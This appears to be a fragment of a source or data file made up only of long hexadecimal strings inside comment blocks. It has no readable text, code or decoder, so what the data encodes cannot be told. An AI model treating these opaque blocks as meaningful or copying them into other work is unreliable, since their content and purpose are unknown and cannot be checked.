c0af50acb9cd9d0983003b0c6c260941460c95e29bb5e06faaa257e3c0d175eb53d179e30bc100a786b4099684691a609b4b9dde3353c09ad571be040c4153d6b25bdbe7adb5b2bbeeaf70e9189c711e95db2a43a25fc36bff7cdd6d4b0b4462fe4bf2ac9fd50800ded80844e019e3ec8185d5c5185326d116f48da35acff980528f586905d9d071bb2972723445fc46567df55020a3e215e520858827089b28657332b2c2dc22682d201fff8eadb2677ee2be6800a1a1bcce35d9d646a213c17ca2f9301ee84f3ff5fbdff3cc5a72253cd1347be9cb93ab31fb70b35051b581d9950d42aa0126d8650947e0dd40cd6910acce5453120509f21a40b6be1a991abf58f721b86776621f57effa1933e506c5a8a422c3d199eb8dfe565a1967cb62f6c1a60d7b6cafee5009ea2755e532c691f01afe09d695dc76b95fc18b5614e687d5c8345e1e44b6230d1d1f745def892d9bee513d0031171b89d43038149466d63c369deb433c7203c78acd238861db5d6cb3c0a1fc243877f837e1f081463687f6a1c22b8c67e2ff04dd6c13990df1332a2dad60e38d63d853c0120f997260198811efa01d7a88b9a1569e9dcc2dfd2362ad5d57ce00fa21c3353d2cc3cd38e43411943c02f4fb2cb27c9f1147193c38b503c81502b6bebe79de518522ede5d066bcd80c169fa5308288289a8e608e9e60c7ce8da7310175ff0b9ac811d0618f5934275f7d1ac2b0973192a06a1730a31af8c332f12aef80826c45d37b8f5adc9b0dc9df0881070372782628702978b51734bc1704a78d2278a4ed065d02ff4efcfa2c65286ec776481a7f86bbc5ca725acd13973a0dc5cfc5173baf17d2f69085cbb823ddc44fe898bc2459ec621cb4ad3c9379076064a7eac4ff401266ff1ac89d7cda6e269a0e25d9ff63380cc2c089cdb3a8c79f475b221a27e5c591706d691fe61588041a78c53578d679eb6413d148cf2439ba964d26cfc28159f84f20a7021f95d1bedf15c52afec2acb0c6a3b5d72c4cfe665bba737eff188ad17b2f7a786c8499af271131379c0bca5017023ef94de755e04124c1df4e778453fc5138766f7ab73d578fa536fc4b7277a1f65ca8097394d35024edc0eda513a4c4a1734891c5ed2051ee1ecc3d1073bd5438b952cb07f694d6df70777cd84603ee45b5a0083108255a4dd679a7f91aa79ceda9c878e51aa2023df2093a82ad1093b5a0f2659692ad765f9529a946722c8cb7f95191e522182d93868b85d5a19239579a66693c500153942ffdf0be75d38bc4809df52571c470a59f8f8f9ed9d4b1d47d49c389e06f2cd6ad43570b26d5179a9f2f9fd8ca021f29d1772f35f033015af3b8b62c89ea21e20baf20a182b5babdb5bc463dd227bf57219f52b8a2d38f6489b7bbd7c0ddf1b99d3d6e5a388dea950e200061b0e04234f668d9a63ae51c9582c884c8fb7cfec3865548*/
/*d3d97543604fd1b702f7fbebcc12baaabcf3610123a92c62767433151a6aaeebee93d8be99e6f50877d4dcf8421235b415e25fdb428910a6c92f4445a288d2eb4fa3aba1acda3249896121b2f660bc1371f992c5b6752fafed9d7a8354b98cd789bdaecc29f3e35819199686b10916f55fdba2c168de37d0e96ad700549cf1de842050d0886643eb410a708e2a17135101b69b83dc56c502ce41a74e984e4e51b0041291b874353f8daec5ad6bd5b4ed180a2c84178184b8e620177f42b963dbb33a232f0531a635eae222acd2031a9689ec75c689dd479c83ee7e534afed34df8b785e87dc30e4f92bf796a70550936ad847467ef4daaca3af9f40f955e0460738a394e191e93d20f0180d885b5142741626234b93c9d9545b56bad751636bda7b6921a835d3f936052aad5104cd38b37bb3c6e1c976e77852595dc96950adc204e5dc33f997250cda60fdbaf0f2577f2e3675dd5b98bf1812eecb514d87dc1c77d922a00848c92256fb5fdd7e7692c1322ae0c993a925781f9371db05a37f371c54c0569ff0b20bf631f1bfa43a8482cd52279c0e9a38538ed9e5aa074c2e6a00be95c8f1f093119b05c3832a62ed141e2d47b537eb7cd01c0b675ff8a4f758d70ef577cacb6984e9084580bba17cd0a3acd1d1107db3a541a9912190c799531fedf604d8c56f5c7e0850c952d171c22ba99995f94a745d37c8f2b29e2a79635028af1c96d338f98f1c834e4c9814cfb46995e4f7c5a60e4bba08c388388adcb89ab78c28680f2922f53145229515ea4a89ffef6cd4c19e7389ded361189e71ca1c372b3c1003211981a9823c34f7471fd6390b0f21e715a16da625e9f4462a3f5b13e0f1bb9e4b294a5c079895f97c74ec2a3bcd94e6cc4829e85dd04876b7ccb796ae6388a3e1278c3b9a75bfb61c4b66c5fb59534c77029e9943b4a14ea43c71a5207edb3b852a6243fca60d481f4855a7c51b1011fa67926e0fc38ffb62398ac68172b668a45203d3b09ab602fc057a7d0faf23b992e00adb8fa6fb5354917247cb61ec2966040b4ae44dfc73738e5fcec0dff900eec3254220bac397f6bafe30d2ee3895592784c276bd870a402e85a331a07898292611d06a094b5c6aad1faf6cc385119728f9d34d1db2215f6d78aeb149e969a5d22818176f26e1de270f15cb7cb6b67f2dc08da3c3b8964203e13689c4687f3ee9fe94587bb222765491edff7f4867c40aa46ad72ae7fd36809ed136090752c3ec0353f551df278e65853ea5ec833fe2ee7ea447ad8f4f6478e811226623c0d8b4eacd6853fb6efe6137b00877770ceabdb2dc7832ec637d19cf1ad5558a120a89c2843c2a173f163500672ce5146c018e9b09ad72fb49dabe75687cb61f6b75fd688d847c1e58b693fad427a217d9d5c928a6a0926d955b8b3fceb71b6770b63bb7c6b3c777916605755858f217c9a5c421bc93bcd735734df1a3635069bd9e76c3f41dabb8c9c35e9950b8f65482336998f4380c24af230c3bf02510513b8b86f234d231e6146642f551259ca6c2c2ef799aaa630da02547f585010cc387706c4767ed630ac8027fe2b33561b46a189e73528024d57b3899db9d56a7a3fdef23c87426958b3239541752a63c5c53bcd8322fb891b0598514b1a5c76eef324af11710c56fa203112dca93c39201de55d6c1b4e6c681e2e005e897b1ee9993685b22d1bb00b29b853ac094859b0bbb7fc4d33ea09e1b9c7bff56a2bf92001d0f916c2b11e5f1364634753e33d7a7adb7ed9ccb9e392d43b086acce33a24b7bcccd818a36d77f71050759d14dd3f736e6e76495f8e9f450afe39dbd59141e70a525e613dd3cae411e7b043f8cd3863b2032fcacef5a9c1c1125c29ead735dff62b6f00a3c4c7d66f2e776f0cdbc5d8977b8ebe05da266a56f4bafa7c529e8bb9451d6b2d4fc059534200d88822992966e66653528e8b28445b056a7a6ec96c4a7e5940cd0924d8f9a73681f84e7244933d4d386925d26f6644a8431dbfbe9002470e647c5ee58f6285e161895cb6e650e314a2477e65558e8c4e0bdb46c191e20c742bf18dba594f9dba40a4b733bf6546b4386fd1a11601fdd5a7b8b31180c019cf96e8d972cf7cc5a89fdfeb675c588cadf6f3523ad4e87753862829d7670b70152c329b24f87b4e970cd3603c94b174c0b2b10c82ea1504f91e434e4296d39b10010f6951372e82029d58dc5e3a0dc6d5c1fe14a71dab34dd7f4a1c76e41ff1c9bf26436355aa8744f318dd0ceeaff21087ffc9300c6571b14c56928f9d39a028cdcec45822829f9ad5669502772a36c6ed5a8ff1496379d54f30dfd492a44633ddd44ee64f81b6350b84d74f0e795e118195bf277f3846150b80ff781cd2bd419b7be5becf76c7ee02912473722e7ebda972c19d5fdb0fd7e7d74630f3068fd9c9ffa0186e8e19749602aeb853cef6bd0d6c7f7c90407168fa1389d58a6296feaf2a2275625ea93dc8e6c470232e102b3ba83d98f2cf6ec6837fb07e42d11313c7efe442f2714f1f1721e7b9f8a5153d72fb5988177cff400d241ba79282785d692043d072fe4d73e03e0fefc9286a1f9276b93417174fef5eb83cdc62f3c7ab447339560ec25fac96626b3e9007bd265df8dcc4f3f90919a40d091aa82aa372f8c538a6466e09fec81358d823e16db2372d93c8ae3eb7bc2796577c763f6ae25f57d623e001c1589b3aa93fdb4665244a5d9e79c356a84121501dde67b88230bc639a5de2ae141b6477062ce3b950466f9d28884076f05e2316b97d6d40623493878fec78fe7d7120a48e8dca16cd680665365253c3*/
/*b3ee67ae7f18b29cc1672ce75ec186a9609f92048b82318600a3600d3df3444953f4b9521e106f8425491501e5038eb21781a6719c2400c811d96d68aaa5e936bdeb197fc71c17beac2df1a35732f8a55870452bba7634932a85baba4045161e2db71556f97322d4d92199f9e12c3294ae06e4d4175773417bac35e766ace01f14528ec6153e5a6867cd76a12d6ef0c91669f4a8d2404a47f04e823bc3b54a33268ac7559f0fd7a8893a300cdeaa7c88b324162f0dccb9b8adef2996ee89bee8aa96957bbb2d39dd63f1dbaa88611d8e0790085bcaa83253c71ad91703c8ec63d52339ce4230b950e8b57c3fb203f4a6c9c9f75cf6b99de2a9c785e602e116da404de3368e05c3c82dba15faf1b8987dc1376ea8fb4496811990fad7048b174af6033f15a7c07a00771efa7082161149c9d1c2474d8af825b5b89998a6b5bfa4bb48435834ebeaea83d0888d3e45b4184229b510a759d24b4809b08518f2f5684254297e92b9c319b9c2c4c6ff630211d3f6b2fc016de3366658d285252fa0b1a5aed89bbf261298bb3714f68f04a4de7605fb780b3d085e5e341eea2ee1bf786757f2926ebcf62260b30940ee667a1c5ae1b5944d8b88e76244acd0be6a0fb11584ce7e5d691e195f2f2d269f30baa4da7da6eb654dca79061fec39bef2174bce2269841c940c376b87806ccbb8f4edc170d43ac675b20e47f3370f137904dc7c76208a19f52cb1d573d5333716d632b07999e14ec0cbe9c69cea0458255d22058bd10cebb288ec550b3421995bd7f2598fe530630b4ef071c720d14f92b1a77142c8e920d8c6fdef58835aac1ec7654cfc55af3ba20fa7b312b571559f9be20a1f4561eeca065a3319afc9907ac5ba0c2917c4c27381808ad2e5546f479f96a7fa26b04f8bf8259348f34181c612b6b9ce8808e9995f822135b085f70bc2c208351947fa2c58b312a3395ed829a35b4a3d610d811d5410a11697cdfad3c9c563d544850c43d786ff88d589d27beec2cfdd18f0bebf8e57ab76a0f031ffb93d019044437287d34c026258f4e48f657de71a97fff69618ca2d264c574aa564d5aefba7b286a954cdfafc84897c4daa0081f0328bed070c9f7fc74c637ca8a6e42f27a51e76298ecb49774c00654a28a3266b02132a625ea2b61639fda47f79131a51cb47b338d2fc9777a630299b2021270bf145258d794b9048d30150dfaae128dd85783edc67c0d0bb388ffff7d08fbae0cab6213551138f1844ce947722b1cca3985ec8664be05aac5d35ec731909e12e58ea63eaa9f0eacad14c9fce6258f679469d8145c2bd4659fd1f2ab25263693d00c93bf2b5b5efc8ef238c26118a65741cee4f9292f55615c41d538fc71ab6033dac5ebea0b5ee7cf6a588e7659a07ec6519b83311edec10286e6458703a14ba9150bf2e3c25995e793b2c13969eb9a77513c59ce45d8fd889fbd398e418cdab25b95213cafccd1f3ec1fa279fcf659bfd13e6677bcc4b40cc0cab185239e48352dfddb4d3a8f9df87e804ec074463a64a6b0fe757248adfb5d7a335d7bce35c0f71b2b79ccfc5f00c0f9a47dd1e82b0452db66bff5262f55c0e4f945635442999acff7216db4be5d30b9eb051e9c8cff26b8bb72e692bd1c30a3d5bea1e98a0015f81519f71baaa98144feed0dc4b2aee27e3d04ea94caa0df191515abf9177a125bbadaf9569b22a62db2ca8392fe6ed35aae882ed7dcadc63d2b7cc1e718593e2554913740848e424b2b464c43c5579a07cb7dd87c9b31a6410e1fe9e4e95a76392fb8feacdfd299bbae1adac8d92aa2615a07f6355a1e3652a2655e1ce8fc4e880c29f3260ca8971beefdc300a8667a094bb77fe17a1b0f9b20d57f657f3998b3d231fdda374f0c123dcd963db0b698d7599a93658e5b4e32526ce4823495f2e27431c2be291d1f599f56571de67457f89e74469c0235cf075502131d2a679c21d14c7a53f7855a1a5ebaab9559c02d9788312957dbaf761ae770728e8007de3a5c4eae3b2830b5467a4f52c5aa655d5391eb17ca1e05fd30b4b7e4717d02adf459e6e8245bbf41976fe1a086bd6c0f41ca89907ddb0e16d464c184acd23a46883650a3f4b7c3f1a3bdaf15bce700c125785d09c43422ffaf81335d11e6549a4c6ba491eab3e476396b165b1fbac29f59c2bff0396db5699777aabe47a52f4e525a71292745c952490eaed52347ea39898955cf275d8f5b067263439efd2544ebfb1fc773845a89e1393e7ba0cd3e9a93ae824844df95621dfda1162b55d02d620b8be3dfd4f7bf231f46961ac71d6ee39e197900417da95beb46ae5766a864865877072a71429bfd48f247b6c473d67eb386bd11c96bd3d559a1c6afbd5170ff50ef51f5ee131bf373b3187ba554d0a381c803e9ada67d1b0aa1372906f0f0d828c4bc5563012a9892ced9b360135e9bda996715075072ed55a3366cf2b08e95b684c256119ae7f3a8be2108a53106c7f066d275360c43dab2a8ca09afa72e2c59148a54fe1a4fef00788ef38694fea4f7f803b6a87c930f03bd50c1f264a2c53ce000fc7bd5c7628cd3b66cbc31bf81db2b36e2422a47966eb4bfb2d806e717184aa411cdc163f254d376528cc19e341968c2d77d7c559a7628f0249b2416905d00d099e6560a275df5b8f19edda61171e771b5f90045b5eacaff692568e47948bfa61ac053ecfd3707d95ecf85eeed00d40265c8c70748a3f432535caefddffffb2c50fd512d0b4a16271e81639410dd3c3f836e5d19204d637defca87748c0c68eee09727fc6074027309d1fc9fda3b2604c223f67d3985bab08*/
/*813ed7cd2d26e6fce8056200f9d7a0759ced755b9f6b3f3d343f22f5756a814764996664f38736312e98988bcac74ff92729b9b5dc154bceec08bd7547f99f6c8826c4a2aa4d1d8c4595ba967a9953f9979bbdc4daeaacbaa9f4642d197ddf7ca60c7dca30fad90a84f40496d7789744b8e85e84384f06dd279561be0b6e3f4e3f8ef3226888cafbc1d4c8c957029611b5f3065fbd90c0a41bfc60e5bc378ebb24e9de5ab02a2b0ce20bdc3efd046b12dc8dc528682c52b647af3e55fd832317bc04c7f78ca6e24a90ab4a0c8958b04fb2646b03a218cc3ab149250eea1edee4fe4be372e95eaab840b134999ca2b5d130396fac18e47a5e584c6cecc37ea69e57252515698f5ea13355f3e304da56f1eaa69cf07aa152fe9009eaaee454b86f1f836a6356d6b91874befba74bf9301b787c0bcfa0388ff9b8bc9e0ec1e0b9858a39e040d16f2aaae1d9695e96b83c0fda999b13075d53ed965e728d0f6da784d10e7e54697bb9003a0aa719d8ae2c9a3524fa36914c2825203707d5833bd4ff54be76bf14e6f5b31306e5c90a168cf0a7f0a0f53f0c2d5ae0e54eda0e0ed27c750173d6cb6467e86bbced5f57b533f90499bb7e6aa986f0c9f253f8a32953ece37f8b7874a9caf8dd9456192185ac4654b68e50f1a09b82870eaadf49d463152a959522311fd25a632eb4b3069188c89b75cba19a5d619c0b2edb9366f475ccecf11921275cb3d89a8bcb122c9881997d43f7eba5d7b5cccef1c49892443df3bcb6dc0bcd15011c636cf500289c6ddb131680c3589f0c2fd04867e791707b3d0aa76457866669b0eebde4e43b095d383d100837aabe9d75b5de5a834d0be3786490744836438cff39a9e448dc4c4b7f101fcc3bdf4e9aac1dd31bdf0162474d8b3bd5e4dc1bf2517683e9ee06f914e782354c7925e55092046d509530c6c84d4d64c84b2c8334d091783406dce1dcffe38b007a3b694904a43fe5714fba5ff7bb2a1b8454bce1f1b7c335e39a2025e527a01e5910aa871fb84061b16d3f3aa3adeefbee13f0ef46f8c54710f76cc7dbb64004c3ef48ede788d8dfae5d36c413f53f4d8029996b98effc232dc34937f42f0b8ac2e190a78ab63493941ad96a85d78c00daa133965366612af0e1c02a8df77ce713bbc26e5aba8724b0fbb442d398cb46114e77525c5f939512d4b3585318654727fe0743fa895cdd4f81b518f168cc28480d70cc9da785084fd869e6fda35a0397a8c02fdab3738a5f32caca7ac8c3789f96e2b06ea4a2cebaeabf7809dd870e25b8ecb756393e9456599529a7cef7439969459bca135a4e3f950c779a721f5f9e129300067be427bbbc3805cca1253dbba19ff4b81f94faf052f7564909c9cb43652be52d68ac226d710936c8bf9ac13e38da01bca00014db6f262109323b0a71d796e606540f6028edd9e06604445bb5527bebc3196948ce0c2eb61179cad2454fcad1ee4039589dc7b10dda96dd6c65e4a736eee1748058fbd1f011093f66f7743e12f3549177e9eccf775a79edd237d37df9451723c180d3e317c03d0d3a95be28631c42191becc92006ee28841174223da98540846dc424f779a0d990795d5997d313769b0301e809b5d7508a3e68caa1e35fbc5ead46044b0df5e578a8c4603567cc7a18bf9b268d27ff351b3f282a118d4604fafbe21b1bff76d1dabbf036c980e57690f8f12b716fec8a90832eeb495f673c1e33715fb4d18b7f658fc1bf26175eb82a30b99780c20f72e4c5c927a766790f28d22b232becc005c55b424fce4cc86dad696b10d63173cf7f9f6c3c89f0dac0c6fed513e0af83bd1efa7ab6bad092ffc6f721c0f996af9ae2de3a45344d6f1a047624d6fe6644084ab77fdb6f2d1bfa78c5802fd71fb3f44ab032d4fb80c6abb99b345a4a7f769bfd31c54828e5610ae023254c4ea8e041ef2981397bfbce8c312eb155c031fe57c1f51387e7ba9b615d2a2b11aa6579468b78984e0fc37437db1235b03e92f9435700cf8600a7c6c35e73486a40367d15d2b072bb71c14e4a1e1ec044ba8a6766f624877b552b4583abda5264322502b485a38ac35fe2b8b463c9e61e5cc371ace6dfc55955a539934e419c4089a42c61f563bea9aa4db01c8bef9d4f129a21d84b295c5f5c91d50eb7bdbe8cbd1348d101caa220176febb875a73e5390e09d5da3c3e5536e970015bd3984e5aec767e8e47314bfc999bdbf144b3e80f2f148c8db0c4f0e0afdb151d94edb5b4aa93e92acec14bbffcd4801827d68b3329ac2b58b01048433bedc9517e9db072fd3b9c0c8363cfccdc0e27df4c1bcda307d623d1d7c754067004b297bd0683cf2b516b624c13ed72c745708c70f824bf6d7fd17b569de5a4176f7789a9648b96f4be31dee50d13a73917a327d35426336b6888d1b28a4a961b2a1243ab54edbdd6ba5ebe2c79ca1a6df54eb6cb28402b6d17fa5750895d18dccd68de04170179b90b0430fc32c75e814941afef9fb0ba63ef86ae395def0ec911037f5fad66e2691b21d6855528215435234c51743c14e9e4e517605a6693b55737d14c424adb93a19305ca9567f212384c60293271f1562efdc5be49f8e981859749c4b3dcffb53ce18bc4d4986566f0eddda0c51bf5402eee0c478da0c679d8e91ed873a192f146b809573aedabb06e88fa2ef83e9e8c723a6285db9bb33431aaa3f92e5864622d59e6a11194746a656a3399a8bc8258f1bac6b5d616bc1cde4cce0e6f7bd72e18e99442312dbd02b1b5885fa3dcd64247567607c2ee303ddda667574a102c98a97a9cbc85c613065a22c2a41a37915e779*/
/*1ef1ef8f2dbaf991801ce7f8a991cd84c89d830ed6bea8da74a60d99cc16081fc02349b402103037e8082834e6f4e47ce0cc96b06000b29bdb9eb36e9a6e60af8d840b8035e88cdc0d4046ced3b667516f5487cbf33bb238a8bbbd130f751c807b1db599a1cc8681331f3d35f4ef603d9ccc22fda695c4ff2ea4ed2d1064fb907fb525ede576751cedaf182bef611fcb9ce82d66a4d1c454f1aa331b9adcc15503aa433e071f53eac6407a181de5068ebf09da3353d508deca1439b8eb269bd26c97c6d3dad7acf58abd502782a586bf0f6f66858ea7ccbc89ed6553fb82a8671730b8c5ae4e2c2494ceb5cef575c62e723369b50ade9b928c7a6aae2b7de61d41e458ba67059e57da79da61b40412b36630f89fc6e3b984683a1fe4a515e6c871a35296824f97cce0adeaa2314577610f62939d359db0e093a9307e5e8626d1f210c9f783149be8a5b74a4df288b00a19fc35231fea0ca1d298d129627ad3003e800605aebc9813b957588bfaaa2d2a7e7559c870b9061889a7cc040bdc60c6ec83e297a925ee3610b2f23245d4fb67c511528da90429e273a40f6ae926cfd0816cd2234f52d31a9f483b195a10eda4df34c7e703ec807febfc1ee6b68ae39b66ed01acbc2b7fb65c8fd91fa417a9c449ced31d878cc40598d7029abbfda0124e9d1747138c091df4e254fd2b086a586299f1451cddf36f7750bba9b123a38a7ad8c6c722d65ab9d8454bf045fa74ab875d67a0c7679e84a29ee51892cf332b2f7cb040958c45fea31664d05b2f5d9ea6c7b3a0e421d2c9f173d51f5c24b8e95d1a9031792c9719b8dcef1ac9fb3c7693290d5419a79ed487f4d0f3963084a75f1e8f7acc745744d38287e3d709e5eb875f234509679533084b6965e92bb17e1aa70399af1a7d696ccfb11dbbcfc134e3c096907f7e46c4ac75408c7b864bdd2500ebd6be9317ba2cf185fa677eede7e28c4458ccac7d7563a5d31c74d1553fe703f6b41903d9427384bae2ad9622fdaacea3d7d4f79bc8c99f4e9c6ad71e6d6cb832c72b50ec97154d24e1542aec5500657cf834d897c9884d5c90e9e3aed3715b1eae8e433339ce159a5d1b6dee8fe630efececc3a772bbf7d693487e5d73ef509eab3ffc799e0988247fa7e0fed8fa071c28241f1b583f8dc4ed72358911cbaada5d34ef53e7f8cb88186e8549af2e84831f4b4d8fee366ff9d8b7d87f6cb725183ab53d205d4ab99a9b216edf900f55316e7c1bd3a408587a1b0e98ae4e9d84052d7831d3236cea2bfc514fc7dae2731f7a3ca016a2e88c157c15cc44d236c774a3e1bb87ec32e36dc158b10a7c926dc725f71bbccb7f5669d8e3976501011fb90f0c105af69facd3af50a85f3d30466a06ecb03d15a46e189d7b0abf6f68b4bc39793afec897a1db9d62c40464ddaa5355e2830565198511a70c3fbb2a5b591e02be1ebbfdf5dd44b3536c727e4dc043146f1f716f2d0ee3fb056647be3a029e936e8f579219927518840fafc714caf4d7c6075f0eecf7e9df52e8521cafc15f2523da0f05afe4dd2e3e53fc68dd70b879ea901df452553135c5d1d39acfa3c30816a730b542e1b4f4a7b1b6253df94b190d60238a032973991a1d1b1406bb5c05591e0f2f8349980738cb8e8b6c7b8bd66b2aa3011981ecd6020b886b2304bedda5ef5e037c016635cf0f2126495bca118fa5bb059fab638ac70792134a9a56cdbd37b3cab9ebaba4788a1f2da7f99490683a2427e9428c7bf6c84aeb140fcef3ef03bd68e1a98ad8c26cc8601e25390b874d42d5654bd8a8fbdfe5e4ec6beffb34c8dfd8da41faed67eeef42ac268930ab91c093b865b46b82637596f2a013e4a50587d4e4788545ad3fcab2640a5c8ef6dff92e9cd3e1b85bc950ae83f46a428abb1ea4372b20175b17ab6a66e98b27c8d1642f5e80ef44a38612b6cd44d80fff7fea4de85f82cba769c24a3a4c62f37caf159d4b032b926b5526ad91d72319d55b486efdc65fd5f75a52a2dc76ffd10f164133e3b837cf8252ed48a9f3951f1220dd83f8ff4f091bfdad0527f27eb6bc1733fb09597e32385cc8770c7a775686b94c195e96a14da719301771805b51e4894aaa8be401662b7550a9d920806c004da4cf7e2d70d77463ca55230682a167566544c3cd37bda7b9965a03742bc214e4e843e3c15d90b796f7567c1c2937e481c0b4d9461fc8186b4ee9cbcb6beff06d4bb9c658977725329c151141bb21ff01b62cc64d5c667a9671e3034c58917afcff77df55a164a055fc9f237e16d4c8fc930d908a26b0249ba979c5177a3a6a025096c859e122c87efece488fdb2bb2b003a616a925420e4a42be95811cdeddd52a331677be7475fffa10f32b64cdcc519ee9062695cbbe3664dcd3bbf99e8a4e321ca812f5e46fa2ab0195f5b3045002aa260c30d3dc4198f14cc2a536b7b5f353bf25fdfc601811e3aa6b37ecdbbeed535050112acfe5e59fc4da2e4c97258472afff7b79b3e0cee0c0194e4346180f25dfbae104d4cade1fd42854fd37f6efcfd29347efcaac881bb2ee9bf74f2fb1abbcdf5a8738b083184f5570971d14e616e5601401916b886055040b4809025596111ea02ef42da07ac7824b59eb40208aad7b27cca0e47a4933e2c0dcf7b5d0d81ccfc2f7a7290b8eccb355848abc815fd21d7b9b9eec0ea1d97a6bda2bf6e0180dfe0159096a9ee1332dbe96935c8d007e3ca683a7b4b4da30da0df07a8121238a6fd727f51eed8ae6f45705b4bbbe0b6519f58aef56f9b227e4e805af0330c670ef9f39e5dd61b8ee879316acc09baf757805778fc8bc2d20*/
/*0cb7d7fcff53016138d3cbb21431e7685578e973f69962a3af6d0ef4273b4c23a4f9443374d00a5a9318abea832972b8c4c8ef0a4503c5dc2cec22dfcff151a30df6603a76aaf54ad51e52a245051ed07e2b9762abb33fd87e2e7834d13540bb2a535963d15a5d45ca3e02b9705dadaed124ed6daecfe14a86015879cf044a31a76f5a27b692c7bdd3400d3f6587d8bf9821461e22c2a20a3c9c00837fbd323c713b147302c74e619b554e4ac5e93a14d071630de57d3ff64eafe1ae07dce9fb34327f60b6f6dd265c9e9e725c03439793b5da20b31e3b0083f46acbf0a57957a43ba6de1772fba257fd8c983c79d923412405240c90e0916180b10fa5a47c2aa963a72da7b88ec2a64c0dee66159b34e3866791a540959bf5f43e481a88091c51dd5b097cc284aedb78b5c1bb26038da0ef73519eece7dc736be02f2dfad879978ed60fc95c81df7330ce9c55757ae73d14f8226566925fb85df94fa08bc608b2b1059182b5cb3cba24d065b00ad0984a47fbdb4f5dcb065f3bcde5fdc47fb5998a095bcd45978e3d2f5e364986b8e2cd0c171f2239c8f2d9aaba01a13096daf5485f86f4bf343a2722c7b72cc4daf66430025b268d14bf5c44e139d94a6a216d5018181f4dbeafe65de4ab5476a213078eacd3437d23af8ca6b1649eda58ba291ed5fb85a95666520eaa0829f925a37d39ab7b95a15d110ac58147714aab71cee8f4cf7dfdf78a6f1e75bca01401365ce3f157d9626aa8aedf1401f186f068fd1697a87ba23578e23f3ab27874c2565c2f176ebe9a49eb36f0092d1ecd8312c1c466e02b99754b28e7fd80fbf6e60b876445f644252214530bcac5b47c8df1e00408f0a9f653314a4a431b4c2e30899461e1da1b7df5c5ffd8ff4059adfd8319ac0689facca4d0759b4d50ff786191c58304024a4df716ba9a15e563ebfe0eed17c4bbe0fd0f79b78ee83e8ec812759c6573902f4ca23cba14a69e71bb21ccba46bbff16edd47fb598d41198963250a51c52868d2b48de3bcee4525b812f21e905f05f4453dd2cfed507af09fd7d84244fcd8e885511db28ddf9a9beb177470595fd68c8e3b2c4695d6881d0b84ff03ad490fb090715435120a1b70c73347fdee6dce8e719a3b6c4f014a42a24b36b0e8789c30473aac81c4d2d1b6658dcefd81c47497cd5a447fbd66a8c4ab5b505d230b921a958454b51f37efdf9a5064cf2cefe566ce3b6381014b466c3e092b64a06f6ac6b8408cbcaafae046a1660c3e0277453e2ed620b942ec7c7de075a842954c3ebdff66959e74c619732a40590c4ef3fd0a69b5fbb9d9d6d03ad42e5cf56173abdbafa82e6803835b43efc10e2d6e5ce21a3d64db7b4670e0211a0c9e8379d4dd58507af201c8cdf537674ce33b6a9d4bfd81672b8f88de08c965483384d95af256a8c081e100f335ac846de68bd48ed6442b26a66454ef283f6c0265b7624057f8b44bbb25136ed937471b2e9cc3f01f08f3dbfef073682bcc0d6b68379dfadfd348f69c0716524ab72eef616fc0afbe3849f4c1f32a025256fc36ea7406ab27ea95bd5ac9b88796a0f502ddc7b7c98c3e1d0a1b1550e03c3ade90685a37bd47908b26b7e5daacc4580a8872e42062a2a8e316e7700a4ad2ae47c672248e08090f678da3addc0196f99a3890cd00ab396992fb95acabcf2a498223573f2db65861386c3f263e609b7bcbdf4a1d017dca94c3268395571065b8f448857429134efa81ebe11369598737193ffca6257469835b0f6a154ad49e79b7cb4cce971f791aef85070080100f7c29d075f4450c76ab5b060ba052ea7a7a843cce91dd0716492c2dbd54a41bd8094adee327af45566cc3953282f46c3348aabf4d5056fbcea4e5b3e3cbc6c66aa47ef6ae156f5fcb0a8e05dcf481cb8564ecd23db9aa1dbf34c2f8a2eb25685c27cd802e087e0680a713f79840c63acef7a24186089b2447d2d18496edbbd723783efa679ca5abb0d78642017793a65633be000f50dc6c0599a4b6d4adcc10fbed4f3a1e69e0513631cbbc4709fe3cf31f36e5d4c5c6387d3c04c66db0885adef243e6b6631fb2eee4d07d8b912e918ad0f3de8e3bfdc5bbed4b7cfbfd2b02cfd9dbcf068fc9fa3969aeea26583c130506365b95ce88bb4e227954cbf054544e49bd1589c94882aeb6965ec3112a5d3596b38b41fcd2c548f4f51cf61230eb14adde3fecc65fdd833edaed78630333cb7be37348af0bd4db7ac089d5835634cb2d5cafef0a125118f68d5364be3836fc4638647f11a58afedf755fc4b4102061daa03b0de7c2d48e01fa87f5d76cbc401a127b311f7f95d82f66a33b60debe1c8daf4606feff6c37779a21d19f2c661770b11baa8915b959f57885c7cf5fb48970bf74653496af555a0afc77b7f6b0557a42d06529ab379188ce72ef89cb78abe3668b1a89bb40531039f510dcd2e59efb8ea5e84409315ef2d8af2f6162ef82142bf0481d7708ce1a5cea70438b48d1447a3b054b649de881849e91d2706dda3fd75bac39e55ee93440755aab2568ad564a7bd68b03e246b280638db4375764d1a26cd9bae1c484241d3e6e088a4871d7a8594c295222d9f4b73e0acc7ef3b423eef3f4dc158130de6b8b02246a589b95f209bdf99bdd77086ee8dce2f8143b6c906bebb84d3e3b56d3e6a724aad3e7e704e126d7825d018ce803d915201493804c53923376c617548f3841f3e918ff88ed00325ed1229d35ea75f4e863af92f883830effb9cfa4abfa69f4cfcd0f6b2c1826ade05ea35e3189d9b71243293ef0a93991da841c5c08695a791aed33e2c51c65378*/
/*b3009c6612b6f353ccb67f332fd36576aae0bc2461b8d4f1d76ed4e288d47e7076b1afd61bf21d3ddeab11ceeb9072336b0c3fb95f00551c102e46841aee4e2a7ca90419e08147a7ab493c767f130c197fa51c1bea58b1ad1ad8de4c05cfda9c22d00c75d77c04a4cf68f3201d62c50155e1d534f60e3aba32b360005c5bf919193815fb4ad02d59d1c414889af30a063e63d8c5c598d7af84b50b126d6192da3c1822d2291504fed72c52ce4e2e49433f9893279324d9f3c2a2cd0018b8d7d3f5153bd316102505baa58071f9880e7c6c1cd951c6ade1d3e3d94fb5d3bc2bc56cf0484293ddfa843ccb3085126640f650de8092fe4798bbc07bec5aac93471cee397f20c4900d33f3088fe6fa27f68ee1a8c8aef7c21cedeb93a299dc049236907efc67aef8e45918bc60c273ef46813a9a4ce6cc63d4da785ee0e8c9d1157723b236b860d8e0ec5650647dd68cc224bb45d7f6c6df006422546f452b6bd1ecbda0bb5fcd32771f6ed7da89981f29b3ee841bdce31ec721de9bd43f538b820fd7bbc4eda54c0f2321328d266ff2800cc574b8976a5300a86054c1c07decf78af2b66279c22c71b1d3f70217fd88b4eb2305679e016093835b3da6e5c40146ecefafa5316f4b8602c4fc5773c9dd349183cb258bafb9b6395f8b843664044ee0e7115932916884bdb55915b58e50acbb3f9c5c5a7d459ddee3eed8bcd2a7493fd88a280cad924ddfc2f2ceaacbcab26192b4aa4ab7584ed87a30fe6